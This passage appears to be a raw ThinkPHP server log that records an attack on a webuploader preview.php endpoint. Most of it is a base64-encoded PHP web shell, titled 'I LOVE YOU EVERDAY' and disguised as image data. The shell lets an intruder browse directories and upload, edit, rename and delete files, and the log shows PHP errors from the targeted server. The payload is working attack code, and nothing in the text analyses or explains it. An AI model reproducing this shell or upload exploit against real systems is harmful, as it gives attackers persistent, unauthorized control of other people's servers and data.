AgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVE' => '', 'static' => 'hui', 'webuploader' => '0.1.5', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:07:44+08:00 ] 119.42.146.234 POST 59.110.137.245/plugin/webuploader/0.1.15/server/preview.php [运行时间:0.002807s] [吞吐率:356.26req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'plugin', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi